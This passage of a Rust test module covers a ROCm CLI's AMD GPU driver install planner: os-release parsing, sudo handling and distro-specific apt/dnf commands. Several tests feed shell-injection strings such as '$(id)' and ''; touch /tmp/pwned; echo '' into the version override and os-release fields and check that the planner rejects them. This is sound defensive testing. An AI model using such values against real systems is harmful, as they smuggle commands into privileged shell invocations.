leave its commands unswept. + fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { + vec![ + ( + "ubuntu", + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + ), + ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), + ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), + ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), + ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), + ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), + ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), + ( + "almalinux-via-id-like", + "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", + ), + ] + } + + fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { + build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + escalation, + ) + .commands + .into_iter() + .map(|command| command.command) + .collect() + } + + /// Rewrite every `KEY=value` / `KEY="value"` line of an os-release fixture + /// in single quotes, which `os-release(5)` permits just as it does double. + fn single_quoted(os_release: &str) -> String { + os_release + .lines() + .map(|line| match line.split_once('=') { + Some((key, value)) => format!("{key}='{}'", value.trim_matches('"')), + None => line.to_owned(), + }) + .collect::>() + .join("\n") + } + + /// How a distro quotes its `/etc/os-release` must not change the plan. + /// + /// `os-release(5)` allows single or double quotes, so every supported + /// distro, rewritten in single quotes, must plan exactly as it does in + /// double quotes. + #[test] + fn a_single_quoted_os_release_builds_the_same_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let plan = |text: &str| { + build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(text), + true, + PrivilegeEscalation::Sudo, + ) + }; + let double = plan(os_release); + let single = plan(&single_quoted(os_release)); + assert!( + single.supported, + "{label}: unsupported when single-quoted: {}\n{}", + single.reason, + single_quoted(os_release) + ); + assert_eq!( + (single.os_id.as_str(), single.version_id.as_str()), + (double.os_id.as_str(), double.version_id.as_str()), + "{label}: quote style changed the distro read" + ); + assert_eq!( + single.execution_commands(), + double.execution_commands(), + "{label}: quote style changed the planned commands" + ); + } + } + + /// An unreadable os-release is refused as itself: the reason names the + /// offending line, and it is asserted together with what it claims — no + /// distro, no commands, nothing that mutates — and against an "unsupported + /// distro" reason, which would blame the distro instead. + #[test] + fn an_unreadable_os_release_names_its_line_and_plans_nothing() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found( + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n", + ), + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!( + plan.reason, + "/etc/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ + commands were planned because the distro cannot be read. To fix it, remove \ + that line or rewrite it as NAME=value." + ); + assert!(!plan.supported); + assert!(plan.commands.is_empty(), "{:?}", plan.commands); + assert_eq!(plan.policy, "unreadable_os_release"); + // Nothing about the distro is claimed — not the `ubuntu`, `24.04` or + // `noble` the file assigns before the command — and the plan changes + // nothing, so it neither mutates nor needs a reboot. The one check it + // offers is the command that names the line. + assert_eq!( + ( + plan.os_id.as_str(), + plan.version_id.as_str(), + plan.codename.as_str() + ), + ("", "", "") + ); + assert!(!plan.mutating); + assert!(!plan.reboot_required); + assert!( + plan.preflight_checks.is_empty(), + "{:?}", + plan.preflight_checks + ); + assert_eq!(plan.checks, vec!["rocm examine".to_owned()]); + + // The rendered plan says so on one line, and does not also claim the + // distro is unsupported. + let rendered = render_driver_install_plan(&plan, false, true); + assert!( + rendered.contains("reason: /etc/os-release line 4 is not a plain assignment"), + "{rendered}" + ); + assert!(!rendered.contains("AMD-documented"), "{rendered}"); + assert!( + rendered.contains("execution_commands: "), + "{rendered}" + ); + } + + /// `build_driver_install_plan_read` is the one seam `install_driver` hands + /// its `real_os_release()` result to. Both are now one-line delegations + /// to `hardware_root::read_os_release`, so reverting either back to a raw + /// `/etc/os-release` read is a type error here, not a silent regression. + /// This still pins the behaviour at the seam itself: an `OsRelease` that + /// says the fallback path was read plans exactly what a primary-path read + /// with the same content would. + #[test] + fn a_fallback_read_plans_exactly_like_a_primary_read() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = test_examine("linux", false); + let fallback = rocm_core::hardware_root::OsRelease::Found { + path: "/usr/lib/os-release", + text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), + }; + let primary = rocm_core::hardware_root::OsRelease::Found { + path: "/etc/os-release", + text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), + }; + + let from_fallback = + build_driver_install_plan_read(&examine, &fallback, true, PrivilegeEscalation::Sudo); + let from_primary = + build_driver_install_plan_read(&examine, &primary, true, PrivilegeEscalation::Sudo); + assert_eq!(from_fallback.os_id, "ubuntu"); + assert_eq!( + ( + from_fallback.os_id.clone(), + from_fallback.version_id.clone(), + from_fallback.codename.clone(), + from_fallback.reason.clone(), + from_fallback.execution_commands(), + ), + ( + from_primary.os_id.clone(), + from_primary.version_id.clone(), + from_primary.codename.clone(), + from_primary.reason.clone(), + from_primary.execution_commands(), + ), + ); + } + + /// A file that exists but could not be read plans nothing and names + /// itself, distinctly from both an unreadable *line* (which still comes + /// from a file that was read, see + /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`]) and from + /// an unsupported distribution — which would send the user looking for a + /// support gap instead of a filesystem problem. + #[test] + fn an_unreadable_file_plans_nothing_and_names_itself() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!(plan.policy, "unreadable_os_release"); + assert!(!plan.supported); + assert!(plan.commands.is_empty(), "{:?}", plan.commands); + assert_eq!( + plan.reason, + "/usr/lib/os-release could not be read: denied; no driver commands were planned \ + because the distro cannot be read." + ); + } + + /// The unreadable-os-release branch resolves `repo_version_expr` via the + /// same [`resolve_repo_version_expr`] call the normal path uses, before + /// it ever builds an `unreadable_os_release_plan`. A malformed override + /// must still be refused here, not silently dropped because the distro + /// itself could not be identified. + #[test] + fn an_unreadable_os_release_still_refuses_a_malformed_version_override() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set( + "ROCM_CLI_AMDGPU_DRIVER_VERSION", + "'; touch /tmp/pwned; echo '", + ); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + assert!(plan.commands.is_empty()); + } + + /// The same malformed line as + /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`], but read + /// through the fallback path: the reason must name `/usr/lib/os-release`, + /// not `/etc/os-release`. That test only exercises + /// [`os_release_found`]'s hardcoded `/etc/os-release` path, so a + /// regression that hardcoded the path back into + /// `build_driver_install_plan_read` would still pass it. + #[test] + fn a_fallback_reads_malformed_line_names_the_fallback_path() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let read = rocm_core::hardware_root::OsRelease::Found { + path: "/usr/lib/os-release", + text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n".to_owned(), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!( + plan.reason, + "/usr/lib/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ + commands were planned because the distro cannot be read. To fix it, remove \ + that line or rewrite it as NAME=value." + ); + assert!(!plan.supported); + assert!(plan.commands.is_empty(), "{:?}", plan.commands); + assert_eq!(plan.policy, "unreadable_os_release"); + } + + /// On WSL, `build_driver_install_plan_read`'s `Unreadable` branch must + /// not fire at all: WSL has its own guest-side os-release probe (see + /// `examine/wsl.rs`'s `WSL_REMOTE_PROBE`), so the local Rust-side read this + /// function receives is never authoritative for a WSL host, and the plan + /// must stay the ordinary `wsl_rocdxg` one — not `unreadable_os_release` — + /// regardless of what it says. Without the `reaches_os_release_parse` + /// guard this would plan nothing on a WSL host whose local read happens + /// to come back `Unreadable`, even though the guest-side probe may read + /// the distro just fine. + #[test] + fn a_wsl_host_ignores_an_unreadable_local_os_release_read() { + let _env = scoped_rocdxg_env(); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", true), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!(plan.policy, "wsl_rocdxg"); + assert!(plan.supported); + assert!(plan.mutating); + } + + /// The Windows half of the same `reaches_os_release_parse` guard: a + /// native Windows host's driver install is `windows_validate_only` + /// regardless of what the local read says, since the Linux driver + /// install this plan guards is never attempted there. Without this half + /// of the guard, a Windows host whose `real_os_release()` happens to come + /// back `Unreadable` would wrongly take the Linux-only + /// `unreadable_os_release` policy instead. + #[test] + fn a_windows_host_ignores_an_unreadable_local_os_release_read() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("windows", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!(plan.policy, "windows_validate_only"); + assert!(!plan.supported); + assert!(!plan.mutating); + } + + /// With a duplicated key, the plan is built from the last assignment — the + /// one a shell keeps, and the one `rocm examine` reports, since both read + /// through `rocm_core::os_release`. + #[test] + fn a_duplicated_os_release_key_is_planned_from_its_last_assignment() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let text = "ID=debian\nVERSION_ID=\"12\"\nID=ubuntu\nVERSION_ID=\"24.04\"\n\ + VERSION_CODENAME=noble\n"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(text), + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!( + (plan.os_id.as_str(), plan.version_id.as_str()), + ("ubuntu", "24.04"), + "planned for the first assignment instead of the last" + ); + assert!(plan.supported, "{}", plan.reason); + } + + #[test] + fn driver_plan_as_root_never_emits_sudo() { + // The defect: every command was prefixed `sudo` unconditionally, so on a + // root host without the binary the first one died with `sudo: not found` + // before any driver work. This asserts the ABSENCE of `sudo` across every + // distro rather than checking known commands one by one — a templating + // site missed on some distro fails here instead of shipping. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let commands = plan_commands(os_release, PrivilegeEscalation::AlreadyRoot); + assert!( + !commands.is_empty(), + "{label}: expected a dkms plan to emit commands" + ); + for command in &commands { + assert!( + !command.contains("sudo"), + "{label}: a plan built as root must not invoke sudo, got `{command}`" + ); + } + } + } + + #[test] + fn driver_plan_off_root_still_escalates_every_privileged_command() { + // The other half of the contract: dropping `sudo` when root must not drop + // it when a normal user runs the same plan. Verify-phase commands are + // read-only probes and are deliberately unprivileged, so only the + // mutating phases are required to escalate. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let privileged: Vec<&DriverPlanCommand> = plan + .commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .collect(); + assert!(!privileged.is_empty(), "{label}: expected privileged steps"); + for command in privileged { + assert!( + command.command.contains("sudo "), + "{label}: a plan built off root must escalate, got `{}`", + command.command + ); + } + } + } + + #[test] + fn driver_plan_as_root_keeps_shell_pipelines_intact() { + // `sudo` also appears mid-pipeline (`| sudo tee`, `| sudo gpg`), which a + // naive "strip a leading prefix" fix would miss. The pipeline must survive + // with the escalation removed from the right-hand side only. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let commands = plan_commands(ubuntu, PrivilegeEscalation::AlreadyRoot); + assert!( + commands + .iter() + .any(|command| command.contains("| tee /etc/apt/sources.list.d/amdgpu.list")), + "the apt-source pipeline must still tee, unprefixed: {commands:?}" + ); + assert!( + commands.iter().any(|command| command + .contains("| gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg")), + "the keyring pipeline must still call gpg, unprefixed: {commands:?}" + ); + } + + #[test] + fn driver_plan_records_the_commands_it_will_actually_run() { + // `execution_commands()` is what lands in state.json. It must agree with + // the escalation the plan was built under, or the recorded history + // describes commands that never ran. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let as_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(ubuntu), + true, + PrivilegeEscalation::AlreadyRoot, + ); + assert!( + as_root + .execution_commands() + .iter() + .all(|command| !command.contains("sudo")), + "state.json must not record sudo commands for a root run" + ); + let off_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(ubuntu), + true, + PrivilegeEscalation::Sudo, + ); + assert!( + off_root + .execution_commands() + .iter() + .all(|command| command.contains("sudo ")), + "state.json must record the sudo commands a non-root run performs" + ); + } + + #[test] + fn driver_plan_as_root_drops_the_sudo_binary_precondition() { + // The preflight claimed `sudo` must be installed even when the plan no + // longer uses it — the same contradiction the bug report called out + // between the stated preconditions and what execution actually did. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let as_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::AlreadyRoot, + ); + assert!( + !as_root + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{label}: a root plan must not require a sudo binary: {:?}", + as_root.preflight_checks + ); + let off_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + assert!( + off_root + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{label}: a non-root plan still depends on a sudo binary" + ); + } + } + + #[test] + fn driver_plan_dry_run_repo_version_line_is_resolved() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Regression for the dry-run output leaking the wrong field (or, under + // the old shell-template scheme this replaced, a raw unresolved + // placeholder) on the `repo_version:` line instead of the version the + // plan actually resolved. + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(rendered.contains(" repo_version: latest"), "{rendered}"); + } + + #[test] + fn driver_plan_ubuntu_2404_uses_official_dkms_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let commands = plan + .commands + .iter() + .map(|command| command.command.as_str()) + .collect::>(); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert!( + plan.preflight_checks + .iter() + .any(|check| check.contains("sudo -v")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("linux-headers-$(uname -r)")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("linux-modules-extra-$(uname -r)")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("repo.radeon.com/amdgpu")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("amdgpu-dkms")) + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(rendered.contains("approval: required")); + assert!(rendered.contains("preflight_checks:")); + assert!(rendered.contains("root access: run as root, or ensure `sudo -v` succeeds")); + assert!(rendered.contains("execution_commands:")); + assert!(rendered.contains("Prepare: sudo apt-get update")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + assert!(rendered.contains("post_reboot_check_commands:")); + assert!(rendered.contains("dkms status amdgpu")); + assert!(rendered.contains("rerun with --yes")); + } + + #[test] + fn driver_plan_ubuntu_2604_plans_the_dkms_flow_with_the_resolute_suite() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="26.04" +VERSION_CODENAME=resolute +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert_eq!(plan.codename, "resolute"); + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu resolute main")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + assert!(plan.reboot_required); + } + + #[test] + fn driver_plan_ubuntu_2604_root_drops_sudo() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="26.04" +VERSION_CODENAME=resolute +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::AlreadyRoot, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(rendered.contains("Execute: apt-get install -y amdgpu-dkms")); + assert!(plan.commands.iter().all(|c| !c.command.contains("sudo"))); + } + + #[test] + fn driver_plan_ubuntu_2604_falls_back_to_resolute_codename() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // No VERSION_CODENAME/UBUNTU_CODENAME in os-release: codename_for_version + // must supply "resolute" on its own. + let os_release = r#" +ID=ubuntu +VERSION_ID="26.04" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.codename, "resolute"); + assert!(plan.supported); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + } + + #[test] + fn driver_plan_apt_warns_about_a_previous_amdgpu_dkms_without_removing_it() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let first = &plan + .commands + .first() + .expect("apt plan has commands") + .command; + + // Detection runs before anything else, and only echoes: removal stays + // the user's call. Behavior is proven end to end by running the + // command against a stubbed dpkg-query in + // `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed`. + assert!(first.contains("dpkg-query")); + assert!(first.contains("sudo apt-get autoremove -y amdgpu-dkms")); + assert!( + !plan + .commands + .iter() + .skip(1) + .any(|c| c.command.contains("autoremove")) + ); + assert!(plan.reason.contains("only warns")); + assert!(first.contains("continuing anyway")); + assert!( + !plan + .preflight_checks + .iter() + .any(|check| check.contains("amdgpu-dkms")) + ); + } + + #[cfg(unix)] + #[test] + fn previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed() { + use std::os::unix::fs::PermissionsExt; + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::AlreadyRoot, + ); + let command = &plan.commands[0].command; + let dir = tempfile::tempdir().unwrap(); + let root = dir.path().to_path_buf(); + let run = |status: &str| { + let stub = root.join("dpkg-query"); + fs::write(&stub, format!("#!/bin/sh\nprintf '%s' '{status}'\n")).unwrap(); + fs::set_permissions(&stub, fs::Permissions::from_mode(0o755)).unwrap(); + let out = ProcessCommand::new("sh") + .args(["-c", command]) + .env("PATH", format!("{}:/usr/bin:/bin", root.display())) + .output() + .unwrap(); + assert!(out.status.success()); + String::from_utf8_lossy(&out.stdout).into_owned() + }; + assert!(run("install ok installed").contains("warning: amdgpu-dkms")); + assert!(run("").is_empty()); + } + + #[cfg(unix)] + #[test] + fn driver_plan_rejects_a_non_utf8_version_override() { + // `std::env::var` reports a non-UTF-8 value as `Err(VarError::NotUnicode)`, + // which `resolve_repo_version_expr` must not fold into the + // `NotPresent`/empty "unset" case -- that would silently use "latest" + // for a user who explicitly set this to something. + use std::os::unix::ffi::OsStrExt; + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let invalid = std::ffi::OsStr::from_bytes(&[0x66, 0xFF, 0x66]); + #[allow(unsafe_code)] // std::env::set_var is unsafe in edition 2024 + unsafe { + std::env::set_var("ROCM_CLI_AMDGPU_DRIVER_VERSION", invalid); + } + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + assert!(plan.commands.is_empty()); + } + + #[test] + fn driver_plan_rejects_shell_metacharacters_in_version_override() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set( + "ROCM_CLI_AMDGPU_DRIVER_VERSION", + "'; touch /tmp/pwned; echo '", + ); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + // Already proves no command can contain "pwned": a vacuous check over + // commands would be redundant with this. + assert!(plan.commands.is_empty()); + } + + #[test] + fn driver_plan_rejects_a_space_free_shell_injection_payload() { + // The metacharacter test above uses a payload full of spaces, which + // `is_safe_shell_token` already rejects on its own -- so it proves + // nothing about whether `$`, backticks, or `()` are actually in the + // denylist. Use a payload with no spaces at all so the rejection can + // only come from the metacharacters themselves. + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "$(id)"); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.commands.is_empty()); + } + + #[test] + fn driver_plan_treats_empty_version_override_as_unset() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", ""); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_ne!(plan.policy, "invalid_driver_version_override"); + assert_eq!(plan.repo_version_expr, "latest"); + } + + #[test] + fn driver_plan_accepts_a_valid_version_override_and_uses_it_in_the_url() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert_eq!(plan.repo_version_expr, "30.10"); + assert!(rendered.contains("amdgpu/30.10/")); + } + + #[test] + fn driver_plan_falls_back_on_a_hostile_codename() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME='; touch /tmp/pwned; echo ' +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.codename, "noble"); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("pwned")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_malformed_version_id() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04'; touch /tmp/pwned; echo '" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.version_id, ""); + assert!(!plan.supported); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("pwned")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_space_free_hostile_codename() { + // The payload above is full of spaces, which `is_safe_shell_token` + // already rejects on its own -- it proves nothing about whether the + // metacharacters themselves are denylisted. Use a space-free payload + // so rejection can only come from the metacharacters. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Single-quoted so the os-release parser (which refuses an unquoted + // `$`/`(`/`)` outright, making the whole file unreadable rather than + // just this field) accepts the line and hands `$(id)` to + // `is_safe_shell_token` to reject on its own merits. + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME='$(id)' +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.codename, "noble"); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("$(id)")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_space_free_malformed_version_id() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Single-quoted for the same reason as the codename test above: a + // bare/double-quoted `$(id)` makes the whole os-release file + // unreadable, which would pass this test's assertions (empty + // version_id, unsupported) without ever reaching `is_safe_shell_token`. + let os_release = r" +ID=ubuntu +VERSION_ID='$(id)' +VERSION_CODENAME=noble +"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.version_id, ""); + assert!(!plan.supported); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("$(id)")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_space_free_hostile_os_id() { + // Closes the gap where `os_id`'s `is_safe_shell_token` filter (the + // `field("ID").filter(...)` call above `codename_for_version`) had no + // dedicated test at all: deleting that filter left every other test + // green, since none of them feed a hostile `ID` value. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID='$(id)' +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.os_id, ""); + assert_eq!(plan.policy, "unsupported_linux_dkms_plan"); + assert!(!plan.supported); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("$(id)")) + ); + } + + #[test] + fn driver_plan_default_linux_preflight_has_no_execution_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + false, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty()); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("execution_commands: ")); + assert!(!rendered.contains("sudo apt-get")); + assert!(rendered.contains("add --dkms")); + } + + #[test] + fn driver_plan_debian_12_omits_linux_modules_extra() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=debian +VERSION_ID="12" +VERSION_CODENAME=bookworm +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("linux-headers-$(uname -r)")); + assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("amdgpu-dkms")); + assert!(rendered.contains("dry run only")); + } + + #[test] + fn driver_plan_rhel_97_uses_documented_dnf_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); 